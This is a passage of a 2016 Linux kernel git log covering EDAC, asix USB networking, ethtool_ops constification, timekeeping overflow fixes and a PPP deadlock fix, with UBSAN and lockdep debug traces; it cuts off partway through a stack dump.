http://lkml.kernel.org/r/1470946525-3410-1-git-send-email-york.sun@nxp.com Signed-off-by: Borislav Petkov drivers/edac/Makefile | 5 +- drivers/edac/fsl_ddr_edac.c | 592 ++++++++++++++++++++++++++++++++++++++++++++ drivers/edac/fsl_ddr_edac.h | 86 +++++++ drivers/edac/mpc85xx_edac.c | 556 +---------------------------------------- drivers/edac/mpc85xx_edac.h | 66 ----- 5 files changed, 683 insertions(+), 622 deletions(-) commit 88857ebe7116b0f7702200628fa6b4d1297751a3 Author: York Sun Date: Tue Aug 9 14:55:39 2016 -0700 EDAC, mpc85xx: Replace printk() with pr_* format Replace printk() with pr_err/pr_warn/pr_info macros. Signed-off-by: York Sun Cc: Johannes Thumshirn Cc: linux-edac Cc: oss@buserror.net Cc: stuart.yoder@nxp.com Link: http://lkml.kernel.org/r/1470779760-16483-3-git-send-email-york.sun@nxp.com [ Boris: unbreak strings for easier greppability. ] Signed-off-by: Borislav Petkov drivers/edac/mpc85xx_edac.c | 87 ++++++++++++++++++++------------------------- 1 file changed, 38 insertions(+), 49 deletions(-) commit 9e6a03a044da6245ade73e3565b0ec5b8959f6fd Author: York Sun Date: Tue Aug 9 14:55:38 2016 -0700 EDAC, mpc85xx: Drop setting/clearing RFXE bit in HID1 On e500v1, read fault exception enable (RFXE) controls whether assertion of core_fault_in causes a machine check interrupt. Assertion of core_fault_in can result from uncorrectable data error, such as an L2 multi-bit ECC error. It can also occur from a system error if logic on the integrated device signals a fault for nonfatal errors. RFXE bit is cleared out of reset, and should be left clear for normal operation. Assertion of core_fault_in does not cause a machine check. RFXE is set specifically for RIO (Rapid IO) and PCI for book E to catch the errors by machine check. With this bit set, the EDAC driver can't get the interrupt in case of uncorrectable error. So this bit is cleared in favor of EDAC. However, the benefit of catching such uncorrectable error doesn't outweigh the other errors which may hang the system. Besides, e500v2 has different errors masked by RFXE, and e500mc doesn't support this bit. It is more reasonable to leave RFXE as is in the EDAC driver, and leave the uncorrectable errors triggering machine check for e500v1. Suggested-by: Scott Wood Signed-off-by: York Sun Cc: Johannes Thumshirn Cc: linux-edac Cc: oss@buserror.net Cc: stuart.yoder@nxp.com Link: http://lkml.kernel.org/r/1470779760-16483-2-git-send-email-york.sun@nxp.com Signed-off-by: Borislav Petkov drivers/edac/mpc85xx_edac.c | 40 ---------------------------------------- 1 file changed, 40 deletions(-) commit b8978badc47e86a5262cc3ed52ed92537aebd7a3 Author: Thor Thayer Date: Fri Aug 19 11:04:26 2016 -0500 EDAC, altera: Rename MC trigger to common name Rename the Memory Controller debug trigger to the same common name as the EDAC devices. Signed-off-by: Thor Thayer Cc: linux-edac Link: http://lkml.kernel.org/r/1471622666-15197-3-git-send-email-tthayer@opensource.altera.com Signed-off-by: Borislav Petkov drivers/edac/altera_edac.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f399f34bdb448ca309e8fe9dd2eb04cdfd788e0a Author: Thor Thayer Date: Fri Aug 19 11:04:25 2016 -0500 EDAC, altera: Rename device trigger to common name The L2 and OCRAM devices have different ecc trigger names than the other EDAC devices (FIFO peripherals). Make them all the same and remove the character array from the device structure. Signed-off-by: Thor Thayer Cc: linux-edac Link: http://lkml.kernel.org/r/1471622666-15197-2-git-send-email-tthayer@opensource.altera.com Signed-off-by: Borislav Petkov drivers/edac/altera_edac.c | 13 +------------ drivers/edac/altera_edac.h | 1 - 2 files changed, 1 insertion(+), 13 deletions(-) commit 3976b0380b315651137ce4321b1171ac0a1d26ed Author: Andy Shevchenko Date: Wed Aug 31 16:57:13 2016 +0300 x86/platform/intel-mid: Enable SD card detection on Merrifield Intel Merrifield platform provides SD card interface. The interface allows user to plug SD card to extend storage capacity. Append the essential data to enable SD card detection on it. Signed-off-by: Andy Shevchenko Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/20160831135713.79066-2-andriy.shevchenko@linux.intel.com Signed-off-by: Ingo Molnar arch/x86/platform/intel-mid/device_libs/Makefile | 2 + .../intel-mid/device_libs/platform_mrfld_sd.c | 47 ++++++++++++++++++++++ 2 files changed, 49 insertions(+) commit dd8d6ec672f9796528a31033084a4947817d6316 Author: Andy Shevchenko Date: Wed Aug 31 16:57:12 2016 +0300 x86/platform/intel-mid: Enable WiFi on Intel Edison Intel Edison board provides built-in WiFi dongle based on Broadcom BCM43340. Append the essential data to enable WiFi on Intel Edison. Signed-off-by: Andy Shevchenko Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/20160831135713.79066-1-andriy.shevchenko@linux.intel.com Signed-off-by: Ingo Molnar arch/x86/platform/intel-mid/device_libs/Makefile | 2 + .../intel-mid/device_libs/platform_bcm43xx.c | 95 ++++++++++++++++++++++ 2 files changed, 97 insertions(+) commit d00a90ca174e37deea5c648fccace149a8ace771 Merge: c7735f1 535baf8 Author: David S. Miller Date: Wed Aug 31 21:07:06 2016 -0700 Merge branch 'asix-pm-improvements' Robert Foss says: ==================== net/usb: asix driver improvements This is a resubmission of v3, since the netdev mailinlist was not sent the previous submission. This series improves power management of the asix driver. - Suspend/resume support is improved to save needed registers. - Device disconnection is improved. - Fixes AX88772x resume failures - Implementes IEEE 802.3 spec section "22.2.4.1.1 Reset" correctly - Fixes AX_CMD_WRITE_MEDIUM_MODE being set incorrectly Changes since v1: - Added proper metadata tags to series. - Added two more patches to series. Changes since v2: - Added coverletter - Tested patches on AX88772A/AX88772B/AX88178/AX88179 hardware ==================== Signed-off-by: David S. Miller commit 535baf8588d04b177cb33700f81499f2b5203c2d Author: Robert Foss Date: Mon Aug 29 09:32:19 2016 -0400 net: asix: autoneg will set WRITE_MEDIUM reg From: Grant Grundler The miii_nway_restart() causes a PHY link change activity and ax88772_link_reset will be called. link_reset will set AX_CMD_WRITE_MEDIUM_MODE register correctly. The asix_write_medium_mode in reset() fills in a default value to the register which may be different from the negotiation result. So do this first. Ignore the ret value since it's ignored in XXX_link_reset() functions. Signed-off-by: Grant Grundler Signed-off-by: Robert Foss Tested-by: Robert Foss Signed-off-by: David S. Miller drivers/net/usb/asix_devices.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit a243c2efb5774b29f1e0b43240cfcdcabf001497 Author: Robert Foss Date: Mon Aug 29 09:32:18 2016 -0400 net: asix: see 802.3 spec for phy reset From: Grant Grundler https://lkml.org/lkml/2014/11/11/947 Ben Hutchings is correct. IEEE 802.3 spec section "22.2.4.1.1 Reset" requires up to 500ms delay. Mitigate the "max" delay by polling the phy until BCM_RESET bit is clear. Signed-off-by: Grant Grundler Signed-off-by: Robert Foss Tested-by: Robert Foss Signed-off-by: David S. Miller drivers/net/usb/asix_devices.c | 27 ++++++++++++++++++++++++--- 1 file changed, 24 insertions(+), 3 deletions(-) commit 4c1442aa8c2c0a2513516aeac184ea172bb04dec Author: Robert Foss Date: Mon Aug 29 09:32:17 2016 -0400 net: asix: Fix AX88772x resume failures From: Allan Chou The change fixes AX88772x resume failure by - Restore incorrect AX88772A PHY registers when resetting - Need to stop MAC operation when suspending - Need to restart MII when restoring PHY Signed-off-by: Allan Chou Signed-off-by: Robert Foss Tested-by: Robert Foss Signed-off-by: David S. Miller drivers/net/usb/asix_devices.c | 47 +++++++++++++++++++++++++++++++++++++++++- 1 file changed, 46 insertions(+), 1 deletion(-) commit 8a46f665833a2085e402bd0827be380f161f09ef Author: Robert Foss Date: Mon Aug 29 09:32:16 2016 -0400 net: asix: Avoid looping when the device is disconnected From: Vincent Palatin Check the answers from the USB stack and avoid re-sending multiple times the request if the device has disappeared. Signed-off-by: Vincent Palatin Signed-off-by: Robert Foss Tested-by: Robert Foss Signed-off-by: David S. Miller drivers/net/usb/asix_common.c | 56 +++++++++++++++++++++++++++++++++--------- drivers/net/usb/asix_devices.c | 2 ++ 2 files changed, 46 insertions(+), 12 deletions(-) commit d9fe64e511144c1ee7d7555b4111f09dde9692ef Author: Robert Foss Date: Mon Aug 29 09:32:15 2016 -0400 net: asix: Add in_pm parameter From: Freddy Xin In order to R/W registers in suspend/resume functions, in_pm flags are added to some functions to determine whether the nopm version of usb functions is called. Save BMCR and ANAR PHY registers in suspend function and restore them in resume function. Reset HW in resume function to ensure the PHY works correctly. Signed-off-by: Freddy Xin Signed-off-by: Robert Foss Tested-by: Robert Foss Signed-off-by: David S. Miller drivers/net/usb/asix.h | 40 +++-- drivers/net/usb/asix_common.c | 180 +++++++++++++++----- drivers/net/usb/asix_devices.c | 373 ++++++++++++++++++++++++++++++++--------- drivers/net/usb/ax88172a.c | 29 ++-- 4 files changed, 472 insertions(+), 150 deletions(-) commit c7735f1bac209e285839ccead00873b27afc013b Author: Julia Lawall Date: Thu Sep 1 00:21:23 2016 +0200 net: axienet: constify ethtool_ops structures Check for ethtool_ops structures that are only stored in the ethtool_ops field of a net_device structure or passed as the second argument to netdev_set_default_ethtool_ops. These contexts are declared const, so ethtool_ops structures that have these properties can be declared as const also. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct ethtool_ops i@p = { ... }; @ok1@ identifier r.i; struct net_device e; position p; @@ e.ethtool_ops = &i@p; @ok2@ identifier r.i; expression e; position p; @@ netdev_set_default_ethtool_ops(e, &i@p) @bad@ position p != {r.p,ok1.p,ok2.p}; identifier r.i; @@ i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct ethtool_ops i = { ... }; // Suggested-by: Stephen Hemminger Signed-off-by: Julia Lawall Signed-off-by: David S. Miller drivers/net/ethernet/xilinx/xilinx_axienet_main.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 407a471d4d2157cb679220ceab95bb73407ffa0d Author: Julia Lawall Date: Thu Sep 1 00:21:22 2016 +0200 r8152: constify ethtool_ops structures Check for ethtool_ops structures that are only stored in the ethtool_ops field of a net_device structure or passed as the second argument to netdev_set_default_ethtool_ops. These contexts are declared const, so ethtool_ops structures that have these properties can be declared as const also. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct ethtool_ops i@p = { ... }; @ok1@ identifier r.i; struct net_device e; position p; @@ e.ethtool_ops = &i@p; @ok2@ identifier r.i; expression e; position p; @@ netdev_set_default_ethtool_ops(e, &i@p) @bad@ position p != {r.p,ok1.p,ok2.p}; identifier r.i; @@ i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct ethtool_ops i = { ... }; // Suggested-by: Stephen Hemminger Signed-off-by: Julia Lawall Signed-off-by: David S. Miller drivers/net/usb/r8152.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 6a38cb15a214e60ae69adf5df907c48dc0994d87 Author: Julia Lawall Date: Thu Sep 1 00:21:19 2016 +0200 net: mediatek: constify ethtool_ops structures Check for ethtool_ops structures that are only stored in the ethtool_ops field of a net_device structure or passed as the second argument to netdev_set_default_ethtool_ops. These contexts are declared const, so ethtool_ops structures that have these properties can be declared as const also. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct ethtool_ops i@p = { ... }; @ok1@ identifier r.i; struct net_device e; position p; @@ e.ethtool_ops = &i@p; @ok2@ identifier r.i; expression e; position p; @@ netdev_set_default_ethtool_ops(e, &i@p) @bad@ position p != {r.p,ok1.p,ok2.p}; identifier r.i; @@ i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct ethtool_ops i = { ... }; // Suggested-by: Stephen Hemminger Signed-off-by: Julia Lawall Signed-off-by: David S. Miller drivers/net/ethernet/mediatek/mtk_eth_soc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit fa1bc2a09f5f6c83eeb49686911565d9630ef054 Author: Azael Avalos Date: Mon Aug 29 09:37:36 2016 -0600 platform/x86: toshiba_acpi: Fix typo in *_cooling_method_set function This patch simply fixes a typo in the error string printed in the *_cooling_method_set function. Signed-off-by: Azael Avalos Signed-off-by: Darren Hart drivers/platform/x86/toshiba_acpi.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 513ee146f69c48db362189b6423e6c4ede4b3aad Author: Azael Avalos Date: Mon Aug 29 09:37:35 2016 -0600 platform/x86: toshiba_acpi: Change error checking logic from TCI functions Currently the success/error checking logic is intermixed, making the code a bit cumbersome to understand. This patch changes the affected functions to first check for errors and take appropriate actions, then check for the supported features. This patch also separates the error check from the acpi_status and the tci_raw function call error check, as those two are completely unrelated and were nested in if/else statements. Signed-off-by: Azael Avalos Signed-off-by: Darren Hart drivers/platform/x86/toshiba_acpi.c | 226 ++++++++++++++++++++++-------------- 1 file changed, 138 insertions(+), 88 deletions(-) commit 78429e55e4057bdd0fbc6f969a669336f7be249e Author: Azael Avalos Date: Mon Aug 29 09:37:34 2016 -0600 platform/x86: toshiba_acpi: Clean up variable declaration This patch moves all the multiple line variable declaration to a single line declaration (except variables being initialized) following the reverse tree order, to conform to the practices of the kernel. [dvhart: corrected a couple minor inconsistencies in declaration ordering] Signed-off-by: Azael Avalos Signed-off-by: Darren Hart drivers/platform/x86/toshiba_acpi.c | 29 +++++++++++++---------------- 1 file changed, 13 insertions(+), 16 deletions(-) commit 8314bc83f6a33958a033955e9bdc48e8dd4d5fb0 Author: Steve Muckle Date: Fri Aug 26 11:40:47 2016 -0700 cpufreq / sched: ignore SMT when determining max cpu capacity PELT does not consider SMT when scaling its utilization values via arch_scale_cpu_capacity(). The value in rq->cpu_capacity_orig does take SMT into consideration though and therefore may be smaller than the utilization reported by PELT. On an Intel i7-3630QM for example rq->cpu_capacity_orig is 589 but util_avg scales up to 1024. This means that a 50% utilized CPU will show up in schedutil as ~86% busy. Fix this by using the same CPU scaling value in schedutil as that which is used by PELT. Signed-off-by: Steve Muckle Signed-off-by: Rafael J. Wysocki kernel/sched/cpufreq_schedutil.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 3689ad7ed6a836c4eec5e7bdd17a11a79591bef9 Author: Rafael J. Wysocki Date: Wed Aug 31 03:11:31 2016 +0200 cpufreq: Drop unnecessary check from cpufreq_policy_alloc() Since cpufreq_policy_alloc() doesn't use its dev variable for anything useful, drop that variable from there along with the NULL check against it. Signed-off-by: Rafael J. Wysocki Acked-by: Viresh Kumar drivers/cpufreq/cpufreq.c | 4 ---- 1 file changed, 4 deletions(-) commit 20a875e2e86e73d13ec256781a7d55a7885868ec Author: Heikki Krogerus Date: Tue Aug 23 11:33:28 2016 +0300 serial: 8250_dw: Add quirk for APM X-Gene SoC The APM X-Gene SoC UART is the only board that still needs the hard-coded values, so handle it separately in dw8250_quirks(). The other ACPI platforms are able to provide the values with device properties. Signed-off-by: Heikki Krogerus Reviewed-by: Andy Shevchenko Acked-by: Greg Kroah-Hartman Signed-off-by: Rafael J. Wysocki drivers/tty/serial/8250/8250_dw.c | 15 ++++++++++----- 1 file changed, 10 insertions(+), 5 deletions(-) commit 979515c5645830465739254abc1b1648ada41518 Author: Vegard Nossum Date: Sat Aug 13 01:37:04 2016 +0200 time: Avoid undefined behaviour in ktime_add_safe() I ran into this: ================================================================================ UBSAN: Undefined behaviour in kernel/time/hrtimer.c:310:16 signed integer overflow: 9223372036854775807 + 50000 cannot be represented in type 'long long int' CPU: 2 PID: 4798 Comm: trinity-c2 Not tainted 4.8.0-rc1+ #91 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.9.3-0-ge2fc41e-prebuilt.qemu-project.org 04/01/2014 0000000000000000 ffff88010ce6fb88 ffffffff82344740 0000000041b58ab3 ffffffff84f97a20 ffffffff82344694 ffff88010ce6fbb0 ffff88010ce6fb60 000000000000c350 ffff88010ce6f968 dffffc0000000000 ffffffff857bc320 Call Trace: [] dump_stack+0xac/0xfc [] ? _atomic_dec_and_lock+0xc4/0xc4 [] ubsan_epilogue+0xd/0x8a [] handle_overflow+0x202/0x23d [] ? val_to_string.constprop.6+0x11e/0x11e [] ? timerqueue_add+0x151/0x410 [] ? hrtimer_start_range_ns+0x3b8/0x1380 [] ? memset+0x31/0x40 [] __ubsan_handle_add_overflow+0xe/0x10 [] hrtimer_nanosleep+0x5d9/0x790 [] ? hrtimer_init_sleeper+0x80/0x80 [] ? __might_sleep+0x5b/0x260 [] common_nsleep+0x20/0x30 [] SyS_clock_nanosleep+0x197/0x210 [] ? SyS_clock_getres+0x150/0x150 [] ? __this_cpu_preempt_check+0x13/0x20 [] ? __context_tracking_exit.part.3+0x30/0x1b0 [] ? SyS_clock_getres+0x150/0x150 [] do_syscall_64+0x1b3/0x4b0 [] entry_SYSCALL64_slow_path+0x25/0x25 ================================================================================ Add a new ktime_add_unsafe() helper which doesn't check for overflow, but doesn't throw a UBSAN warning when it does overflow either. Cc: Thomas Gleixner Cc: Ingo Molnar Cc: Richard Cochran Cc: Prarit Bhargava Signed-off-by: Vegard Nossum Signed-off-by: John Stultz include/linux/ktime.h | 7 +++++++ kernel/time/hrtimer.c | 2 +- 2 files changed, 8 insertions(+), 1 deletion(-) commit 469e857f374640f6164913835ce30d0736b40a60 Author: Vegard Nossum Date: Fri Aug 12 20:14:09 2016 +0200 time: Avoid undefined behaviour in timespec64_add_safe() I ran into this: ================================================================================ UBSAN: Undefined behaviour in kernel/time/time.c:783:2 signed integer overflow: 5273 + 9223372036854771711 cannot be represented in type 'long int' CPU: 0 PID: 17363 Comm: trinity-c0 Not tainted 4.8.0-rc1+ #88 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.9.3-0-ge2fc41e-prebuilt.qemu-project.org 04/01/2014 0000000000000000 ffff88011457f8f0 ffffffff82344f50 0000000041b58ab3 ffffffff84f98080 ffffffff82344ea4 ffff88011457f918 ffff88011457f8c8 ffff88011457f8e0 7fffffffffffefff ffff88011457f6d8 dffffc0000000000 Call Trace: [] dump_stack+0xac/0xfc [] ? _atomic_dec_and_lock+0xc4/0xc4 [] ubsan_epilogue+0xd/0x8a [] handle_overflow+0x202/0x23d [] ? val_to_string.constprop.6+0x11e/0x11e [] ? debug_smp_processor_id+0x17/0x20 [] ? __sigqueue_free.part.13+0x51/0x70 [] ? rcu_is_watching+0x110/0x110 [] __ubsan_handle_add_overflow+0xe/0x10 [] timespec64_add_safe+0x298/0x340 [] ? timespec_add_safe+0x330/0x330 [] ? wait_noreap_copyout+0x1d0/0x1d0 [] poll_select_set_timeout+0xf8/0x170 [] ? poll_schedule_timeout+0x2b0/0x2b0 [] ? __might_sleep+0x5b/0x260 [] __sys_recvmmsg+0x107/0x790 [] ? SyS_recvmsg+0x20/0x20 [] ? hrtimer_start_range_ns+0x3b8/0x1380 [] ? _raw_spin_unlock_irqrestore+0x3b/0x60 [] ? do_setitimer+0x39a/0x8e0 [] ? __might_sleep+0x5b/0x260 [] ? __sys_recvmmsg+0x790/0x790 [] SyS_recvmmsg+0xd9/0x160 [] ? __sys_recvmmsg+0x790/0x790 [] ? __this_cpu_preempt_check+0x13/0x20 [] ? __context_tracking_exit.part.3+0x30/0x1b0 [] ? __sys_recvmmsg+0x790/0x790 [] do_syscall_64+0x1b3/0x4b0 [] entry_SYSCALL64_slow_path+0x25/0x25 ================================================================================ Line 783 is this: 783 set_normalized_timespec64(&res, lhs.tv_sec + rhs.tv_sec, 784 lhs.tv_nsec + rhs.tv_nsec); In other words, since lhs.tv_sec and rhs.tv_sec are both time64_t, this is a signed addition which will cause undefined behaviour on overflow. Note that this is not currently a huge concern since the kernel should be built with -fno-strict-overflow by default, but could be a problem in the future, a problem with older compilers, or other compilers than gcc. The easiest way to avoid the overflow is to cast one of the arguments to unsigned (so the addition will be done using unsigned arithmetic). Cc: Thomas Gleixner Cc: Ingo Molnar Cc: Richard Cochran Cc: Prarit Bhargava Signed-off-by: Vegard Nossum Signed-off-by: John Stultz include/linux/time64.h | 1 + kernel/time/time.c | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) commit 0bf43f15db857e83daf4134aa062c8b157a80ee0 Author: Ruchi Kandoi Date: Thu Aug 11 14:35:01 2016 -0700 timekeeping: Prints the amounts of time spent during suspend In addition to keeping a histogram of suspend times, also print out the time spent in suspend to dmesg. This helps to keep track of suspend time while debugging using kernel logs. Cc: Thomas Gleixner Cc: Ingo Molnar Cc: Richard Cochran Cc: Prarit Bhargava Signed-off-by: Ruchi Kandoi [jstultz: Tweaked commit message] Signed-off-by: John Stultz kernel/time/timekeeping_debug.c | 2 ++ 1 file changed, 2 insertions(+) commit 36374583f9084cdab4b5dcf5521a3ce55bebb9fa Author: Kyle Walker Date: Sat Aug 6 12:07:30 2016 -0400 clocksource: Defer override invalidation unless clock is unstable Clocksources don't get the VALID_FOR_HRES flag until they have been checked by a watchdog. However, when using an override, the clocksource_select logic will clear the override value if the clocksource is not marked VALID_FOR_HRES during that inititial check. When using the boot arguments clocksource=, this selection can run before the watchdog, and can cause the override to be incorrectly cleared. To address this condition, the override_name is only invalidated for unstable clocksources. Otherwise, the override is left intact until after the watchdog has validated the clocksource as stable/unstable. Cc: Thomas Gleixner Cc: Ingo Molnar Cc: Richard Cochran Cc: Prarit Bhargava Cc: Martin Schwidefsky Signed-off-by: Kyle Walker Signed-off-by: John Stultz kernel/time/clocksource.c | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) commit b4d90e9f1ef1f19dcb2b1b1942c786c9c4225460 Author: Pratyush Patel Date: Thu Jun 23 20:50:37 2016 +0200 hrtimer: Spelling fixes Fix a minor spelling error. Cc: Thomas Gleixner Cc: Ingo Molnar Cc: Richard Cochran Cc: Prarit Bhargava Signed-off-by: Pratyush Patel [jstultz: Added commit message] Signed-off-by: John Stultz kernel/time/hrtimer.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 127661a47915f7b4c46586d02d771c5ee9a803bb Merge: ce0b15d 0771277 Author: David S. Miller Date: Wed Aug 31 14:33:09 2016 -0700 Merge branch 'ppp-recursion' Guillaume Nault says: ==================== ppp: fix deadlock upon recursive xmit This series fixes the issue reported by Feng where packets looping through a ppp device makes the module deadlock: https://marc.info/?l=linux-netdev&m=147134567319038&w=2 The problem can occur on virtual interfaces (e.g. PPP over L2TP, or PPPoE on vxlan devices), when a PPP packet is routed back to the PPP interface. PPP's xmit path isn't reentrant, so patch #1 uses a per-cpu variable to detect and break recursion. Patch #2 sets the NETIF_F_LLTX flag to avoid lock inversion issues between ppp and txqueue locks. There are multiple entry points to the PPP xmit path. This series has been tested with lockdep and should address recursion issues no matter how the packet entered the path. A similar issue in L2TP is not covered by this series: l2tp_xmit_skb() also isn't reentrant, and it can be called as part of PPP's xmit path (pppol2tp_xmit()), or directly from the L2TP socket (l2tp_ppp_sendmsg()). If a packet is sent by l2tp_ppp_sendmsg() and routed to the parent PPP interface, then it's going to hit l2tp_xmit_skb() again. Breaking recursion as done in ppp_generic is not enough, because we'd still have a lock inversion issue (locking in l2tp_xmit_skb() can happen before or after locking in ppp_generic). The best approach would be to use the ip_tunnel functions and remove the socket locking in l2tp_xmit_skb(). But that'd be something for net-next. ==================== Signed-off-by: David S. Miller commit 077127705acf80cdb9393b891d934509a7081d71 Author: Guillaume Nault Date: Sat Aug 27 22:22:51 2016 +0200 ppp: declare PPP devices as LLTX ppp_xmit_process() already locks the xmit path. If HARD_TX_LOCK() tries to hold the _xmit_lock we can get lock inversion. [ 973.726130] ====================================================== [ 973.727311] [ INFO: possible circular locking dependency detected ] [ 973.728546] 4.8.0-rc2 #1 Tainted: G O [ 973.728986] ------------------------------------------------------- [ 973.728986] accel-pppd/1806 is trying to acquire lock: [ 973.728986] (&qdisc_xmit_lock_key){+.-...}, at: [] sch_direct_xmit+0x8d/0x221 [ 973.728986] [ 973.728986] but task is already holding lock: [ 973.728986] (l2tp_sock){+.-...}, at: [] l2tp_xmit_skb+0x1e8/0x5d7 [l2tp_core] [ 973.728986] [ 973.728986] which lock already depends on the new lock. [ 973.728986] [ 973.728986] [ 973.728986] the existing dependency chain (in reverse order) is: [ 973.728986] -> #3 (l2tp_sock){+.-...}: [ 973.728986] [] lock_acquire+0x150/0x217 [ 973.728986] [] _raw_spin_lock+0x2d/0x3c [ 973.728986] [] l2tp_xmit_skb+0x1e8/0x5d7 [l2tp_core] [ 973.728986] [] pppol2tp_xmit+0x1f2/0x25e [l2tp_ppp] [ 973.728986] [] ppp_channel_push+0xb5/0x14a [ppp_generic] [ 973.728986] [] ppp_write+0x104/0x11c [ppp_generic] [ 973.728986] [] __vfs_write+0x56/0x120 [ 973.728986] [] vfs_write+0xbd/0x11b [ 973.728986] [] SyS_write+0x5e/0x96 [ 973.728986] [] entry_SYSCALL_64_fastpath+0x18/0xa8 [ 973.728986] -> #2 (&(&pch->downl)->rlock){+.-...}: [ 973.728986] [] lock_acquire+0x150/0x217 [ 973.728986] [] _raw_spin_lock_bh+0x31/0x40 [ 973.728986] [] ppp_push+0xa7/0x82d [ppp_generic] [ 973.728986] [] __ppp_xmit_process+0x48/0x877 [ppp_generic] [ 973.728986] [] ppp_xmit_process+0x4b/0xaf [ppp_generic] [ 973.728986] [] ppp_write+0x10e/0x11c [ppp_generic] [ 973.728986] [] __vfs_write+0x56/0x120 [ 973.728986] [] vfs_write+0xbd/0x11b [ 973.728986] [] SyS_write+0x5e/0x96 [ 973.728986] [] entry_SYSCALL_64_fastpath+0x18/0xa8 [ 973.728986] -> #1 (&(&ppp->wlock)->rlock){+.-...}: [ 973.728986] [] lock_acquire+0x150/0x217 [ 973.728986] [] _raw_spin_lock_bh+0x31/0x40 [ 973.728986] [] __ppp_xmit_process+0x27/0x877 [ppp_generic] [ 973.728986] [] ppp_xmit_process+0x4b/0xaf [ppp_generic] [ 973.728986] [] ppp_start_xmit+0x21b/0x22a [ppp_generic] [ 973.728986] [] dev_hard_start_xmit+0x1a9/0x43d [ 973.728986] [] sch_direct_xmit+0xd6/0x221 [ 973.728986] [] __dev_queue_xmit+0x62a/0x912 [ 973.728986] [] dev_queue_xmit+0xb/0xd [ 973.728986] [] neigh_direct_output+0xc/0xe [ 973.728986] [] ip6_finish_output2+0x5a9/0x623 [ 973.728986] [] ip6_output+0x15e/0x16a [ 973.728986] [] dst_output+0x76/0x7f [ 973.728986] [] mld_sendpack+0x335/0x404 [ 973.728986] [] mld_send_initial_cr.part.21+0x99/0xa2 [ 973.728986] [] ipv6_mc_dad_complete+0x42/0x71 [ 973.728986] [] addrconf_dad_completed+0x1cf/0x2ea [ 973.728986] [] addrconf_dad_work+0x453/0x520 [ 973.728986] [] process_one_work+0x365/0x6f0 [ 973.728986] [] worker_thread+0x2de/0x421 [ 973.728986] [] kthread+0x121/0x130 [ 973.728986] [] ret_from_fork+0x1f/0x40 [ 973.728986] -> #0 (&qdisc_xmit_lock_key){+.-...}: [ 973.728986] [] __lock_acquire+0x1118/0x1483 [ 973.728986] [] lock_acquire+0x150/0x217 [ 973.728986] [] _raw_spin_lock+0x2d/0x3c [ 973.728986] [] sch_direct_xmit+0x8d/0x221 [ 973.728986] [] __dev_queue_xmit+0x62a/0x912 [ 973.728986] [] dev_queue_xmit+0xb/0xd [ 973.728986] [] neigh_direct_output+0xc/0xe [ 973.728986] [] ip_finish_output2+0x5db/0x609 [ 973.728986] [] ip_finish_output+0x152/0x15e [ 973.728986] [] ip_output+0x8c/0x96 [ 973.728986] [] ip_local_out+0x41/0x4a [ 973.728986] [] ip_queue_xmit+0x5a5/0x609 [ 973.728986] [] l2tp_xmit_skb+0x582/0x5d7 [l2tp_core] [ 973.728986] [] pppol2tp_xmit+0x1f2/0x25e [l2tp_ppp] [ 973.728986] [] ppp_channel_push+0xb5/0x14a [ppp_generic] [ 973.728986] [] ppp_write+0x104/0x11c [ppp_generic] [ 973.728986] [] __vfs_write+0x56/0x120 [ 973.728986] [] vfs_write+0xbd/0x11b [ 973.728986] [] SyS_write+0x5e/0x96 [ 973.728986] [] entry_SYSCALL_64_fastpath+0x18/0xa8 [ 973.728986] [ 973.728986] other info that might help us debug this: [ 973.728986] [ 973.728986] Chain exists of: &qdisc_xmit_lock_key --> &(&pch->downl)->rlock --> l2tp_sock [ 973.728986] Possible unsafe locking scenario: [ 973.728986] [ 973.728986] CPU0 CPU1 [ 973.728986] ---- ---- [ 973.728986] lock(l2tp_sock); [ 973.728986] lock(&(&pch->downl)->rlock); [ 973.728986] lock(l2tp_sock); [ 973.728986] lock(&qdisc_xmit_lock_key); [ 973.728986] [ 973.728986] *** DEADLOCK *** [ 973.728986] [ 973.728986] 6 locks held by accel-pppd/1806: [ 973.728986] #0: (&(&pch->downl)->rlock){+.-...}, at: [] ppp_channel_push+0x56/0x14a [ppp_generic] [ 973.728986] #1: (l2tp_sock){+.-...}, at: [] l2tp_xmit_skb+0x1e8/0x5d7 [l2tp_core] [ 973.728986] #2: (rcu_read_lock){......}, at: [] rcu_lock_acquire+0x0/0x20 [ 973.728986] #3: (rcu_read_lock_bh){......}, at: [] rcu_lock_acquire+0x0/0x20 [ 973.728986] #4: (rcu_read_lock_bh){......}, at: [] rcu_lock_acquire+0x0/0x20 [ 973.728986] #5: (dev->qdisc_running_key ?: &qdisc_running_key#2){+.....}, at: [] __dev_queue_xmit+0x564/0x912 [ 973.728986] [ 973.728986] stack backtrace: [ 973.728986] CPU: 2 PID: 1806 Comm: accel-pppd Tainted: G O 4.8.0-rc2 #1 [ 973.728986] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Debian-1.8.2-1 04/01/2014 [ 973.728986] ffff7fffffffffff ffff88003436f850 ffffffff812a20f4 ffffffff82156e30 [ 973.728986] ffffffff82156920 ffff88003436f890 ffffffff8115c759 ffff88003344ae00 [ 973.728986] ffff88003344b5c0 0000000000000002 0000000000000006 ffff88003344b5e8 